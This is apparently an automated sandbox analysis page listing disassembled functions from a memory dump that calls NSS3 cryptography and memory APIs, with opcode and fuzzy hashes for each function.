Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: ac1ceba3f8158418a400e09c0f243829b16b6484dbbb379f9ed10cdeb112ab5c
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 88416FB2A402158BCB18CF68DCD179AB7E1BF4831871D4669D84ACBB02E775E891CBD1

Function 6C79CF00 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C79D01E

Part of subcall function 6C76E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C76E5A0

PK11_FreeSymKey.NSS3(00000000), ref: 6C79D055

Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
Part of subcall function 6C76ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
Part of subcall function 6C76ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
Part of subcall function 6C76ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9

PK11_PubUnwrapSymKey.NSS3(?,00000000,6C79CC55,00000107,00000000), ref: 6C79D079
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79D08C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$CriticalEnterErrorSectionValue$DeriveFreeUnlockUnwrapWithfreememset
String ID:
API String ID: 324975836-0
Opcode ID: 286ed158ddd9a76dcfeeae8239adbcce1b21544cccfb0ce903064ddb4542f498
Instruction ID: c7ad1c83428fe452569da8f25dae11039fcabfc326896ec72187faf1efda3aee
Opcode Fuzzy Hash: 286ed158ddd9a76dcfeeae8239adbcce1b21544cccfb0ce903064ddb4542f498
Instruction Fuzzy Hash: CD41B2B1900219DBE710CF19DD44BA9F7F5FF44308F0586AAE90CA7741E331AA86CBA5

Function 6C83A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C83A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C83A662), ref: 6C83A69E
Part of subcall function 6C83A690: PR_NewCondVar.NSS3(?), ref: 6C83A6B4

PR_IntervalNow.NSS3 ref: 6C83A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C83A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C83A944
PR_SetPollableEvent.NSS3(?), ref: 6C83A94F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 55211fb999117c115d2d4905e38a4cfed2147e0f13e5209e34c255d8ffaf8213
Instruction ID: e575f2675d1c15f7698346f91d34cb56b7f3fce5f6c08e07f32b13d0f643c61f
Opcode Fuzzy Hash: 55211fb999117c115d2d4905e38a4cfed2147e0f13e5209e34c255d8ffaf8213
Instruction Fuzzy Hash: D7417CB0A01A26CFCB14CFA9C680996F7F5FF48314714A92AD859DBB11E331F850CB90

Function 6C792C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C791289,?), ref: 6C792D72

Part of subcall function 6C793390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C792CA7,E80C76FF,?,6C791289,?), ref: 6C7933E9
Part of subcall function 6C793390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C79342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C791289,?), ref: 6C792D61

Part of subcall function 6C790B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C790B21
Part of subcall function 6C790B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C790B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C791289,?), ref: 6C792D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C791289,?), ref: 6C792DAF

Part of subcall function 6C74B8F0: PR_CallOnceWithArg.NSS3(6C882178,6C74BCF0,?), ref: 6C74B915
Part of subcall function 6C74B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C74B933
Part of subcall function 6C74B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C74B9C8
Part of subcall function 6C74B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C74B9E1

Part of subcall function 6C790A50: SECOID_GetAlgorithmTag_Util.NSS3(6C792A90,E8571076,?,6C792A7C,6C7921F1,?,?,?,00000000,00000000,?,?,6C7921DD,00000000), ref: 6C790A66

Part of subcall function 6C793310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C792D1E,?,?,?,?,00000000,?,?,?,?,?,6C791289), ref: 6C793348

Part of subcall function 6C7906F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C792E70,00000000), ref: 6C790701

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: e725939b9e85d1c6ee68fea33c1b80032f9ed683e0aa2c19fc56b585787acff7
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: BF310AB6901601ABDB00AE64FE4DE9A7769BF4531DF140130ED189BBA1E731E918C7E2

Function 6C726C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C726C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C726CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C726CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C848FE0), ref: 6C726CFE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 0916e734716782fbb7f35d80d89b787806e1828b5ca4c75f5f1ed53fa409a5e6
Instruction ID: 7afdc0be7d036c8825b8701e9bb48fd39798000eb5c1a8908b7562fe8c20de68
Opcode Fuzzy Hash: 0916e734716782fbb7f35d80d89b787806e1828b5ca4c75f5f1ed53fa409a5e6
Instruction Fuzzy Hash: F531B2B1A0021A9FDB04DF65C985ABFBBF5EF45248F10443ED905D7700EB35A905CBA0

Function 6C834F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C834F5D
free.MOZGLUE(?), ref: 6C834F74
free.MOZGLUE(?), ref: 6C834F82
GetLastError.KERNEL32 ref: 6C834F90

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 2f1ba1f851c3657d2836833efe92b46e7692ce5f664eecf892a474ec3c6364e2
Instruction ID: 50cb2d7dc542f0aff1d0c5aea0acfbbeaff423232710e25f74f2e26e7d3dc3be
Opcode Fuzzy Hash: 2f1ba1f851c3657d2836833efe92b46e7692ce5f664eecf892a474ec3c6364e2
Instruction Fuzzy Hash: 75315975A002294BDB11CAA9DD45BDFB7B8EFC5348F081624E818A7281E735A904C6E1

Function 6C796DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C796E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C796E57

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C796E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C796EAA

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 8a08bcaef1b4fd25bd1a0ac8c17f6cf7a5f54d8fc960049de42a5ec39d3f8820
Instruction ID: 7e4a9d817380dc296c329ab1977b441871943e6adff22bb0ece731a144b5d748
Opcode Fuzzy Hash: 8a08bcaef1b4fd25bd1a0ac8c17f6cf7a5f54d8fc960049de42a5ec39d3f8820
Instruction Fuzzy Hash: D931D272610512EFDB941F34EF09396B7A8BB0531AF14073CD499D6A41EB30AA54CFC1

Function 6C792880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C792896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C792932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C79294C
free.MOZGLUE(?), ref: 6C792955

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 99df599ebbf5191133daa7b670aa7530687120d2241bd1e39d7501e9f66fb935
Instruction ID: 3c3bc75ea505c90995ca26d741c9da40b133b46b3f62506e0d556b47a9bb83b4
Opcode Fuzzy Hash: 99df599ebbf5191133daa7b670aa7530687120d2241bd1e39d7501e9f66fb935
Instruction Fuzzy Hash: AD21B6B66006009BEB21AB26FE0DF477BE5AF8436CF154538E489D7B61FB31E4188751

Function 6C764FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C76B60F,00000000), ref: 6C765003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C76B60F,00000000), ref: 6C76501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C76B60F,00000000), ref: 6C76504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C76B60F,00000000), ref: 6C765064

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: bf4be158eda43cee37c460e3c979185531d9c226f9fc645f315dcf542c634103
Instruction ID: 47ffda604814c43b280867a53c73c794948fa6d090a5664292888834ce320b32
Opcode Fuzzy Hash: bf4be158eda43cee37c460e3c979185531d9c226f9fc645f315dcf542c634103
Instruction Fuzzy Hash: 073138B0A05606CFCB41EF79D58866ABBF4FF09308B154579D89997B01E730E890CBD1

Function 6C792DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C792E08

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C792E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C792E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C792E95

Part of subcall function 6C781200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C781228
Part of subcall function 6C781200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C781238
Part of subcall function 6C781200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C78124B
Part of subcall function 6C781200: PR_CallOnce.NSS3(6C882AA4,6C7812D0,00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C78125D
Part of subcall function 6C781200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C78126F
Part of subcall function 6C781200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C781280
Part of subcall function 6C781200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C78128E
Part of subcall function 6C781200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C78129A
Part of subcall function 6C781200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7812A1

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 6a967633e2c8c5411aff5f61a504349dd194e861f38ad9055c1465cf3158c7bd
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: AA21D4B1E113454BE700DF54AE8CBAA3768AF9130CF214279DE185B742F7B1E698C292

Function 6C7269B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C726AB7,0000000C,00000001,00000000,?,?,6C726AB7,?,00000000,?), ref: 6C7269CE

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SEC_ASN1EncodeItem_Util.NSS3(6C726AB7,0000001C,00000004,?,00000001,00000000), ref: 6C726A06
SEC_ASN1EncodeItem_Util.NSS3(6C726AB7,?,00000000,?,00000001,00000000,?,?,6C726AB7,?,00000000,?), ref: 6C726A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C726AB7,?,00000000,?), ref: 6C726A42

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 26b960880a0648bc9050ec15641a1411bfee335472ede52d795af0fb8c042cfb
Instruction ID: d112ee72c7dfb3f3f9324b862c4afbd38b7aa27e69c59aef3bea1962ccf00b4d
Opcode Fuzzy Hash: 26b960880a0648bc9050ec15641a1411bfee335472ede52d795af0fb8c042cfb
Instruction Fuzzy Hash: CF11BCB1641205AFE7209E65CE88B5677BCFB4035CF24C53AEA1AC3A01E734EA14C6A0

Function 6C74ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C74ACC2

Part of subcall function 6C722F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C722F0A
Part of subcall function 6C722F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C722F1D

Part of subcall function 6C722AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C720A1B,00000000), ref: 6C722AF0
Part of subcall function 6C722AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C74AD5E

Part of subcall function 6C7657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C72B41E,00000000,00000000,?,00000000,?,6C72B41E,00000000,00000000,00000001,?), ref: 6C7657E0
Part of subcall function 6C7657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C765843

CERT_DestroyCertList.NSS3(?), ref: 6C74AD36

Part of subcall function 6C722F50: CERT_DestroyCertificate.NSS3(?), ref: 6C722F65
Part of subcall function 6C722F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C722F83

free.MOZGLUE(?), ref: 6C74AD4F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 08fc115efd6798eb76020ebb3cbbc3cd3e6d94ce953f2d2ed2d98e0bbbe3b2c4
Instruction ID: f57bc49cab4a634c4128d040c93e3e4ec007e9f697aa8088bffa1ec4d4bd0eb2
Opcode Fuzzy Hash: 08fc115efd6798eb76020ebb3cbbc3cd3e6d94ce953f2d2ed2d98e0bbbe3b2c4
Instruction Fuzzy Hash: 1D21D8B1D002148BEB11DF68DA0E5EEB7B4EF05228F058078D80577B01F731AA55CBE1

Function 6C773C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C773C9E
EnterCriticalSection.KERNEL32(?), ref: 6C773CAE
PR_Unlock.NSS3(?), ref: 6C773CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C773D02

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 133a2a4fa68f77f73c0d57bba45a389dae078e424f912081b13568713cbd9c7f
Instruction ID: 7ae3fecf5244d0537990261f68aa58f407ff0f7abe32fab6ed14eda703e2558a
Opcode Fuzzy Hash: 133a2a4fa68f77f73c0d57bba45a389dae078e424f912081b13568713cbd9c7f
Instruction Fuzzy Hash: B411B475A00218AFDB10AF24D949A9A3778EF49368F194470EC088B712E730ED54C7E1

Function 6C77ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C77F0AD,6C77F150,?,6C77F150,?,?,?), ref: 6C77ECBA

Part of subcall function 6C780FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7287ED,00000800,6C71EF74,00000000), ref: 6C781000
Part of subcall function 6C780FF0: PR_NewLock.NSS3(?,00000800,6C71EF74,00000000), ref: 6C781016
Part of subcall function 6C780FF0: PL_InitArenaPool.NSS3(00000000,security,6C7287ED,00000008,?,00000800,6C71EF74,00000000), ref: 6C78102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C77ECD1

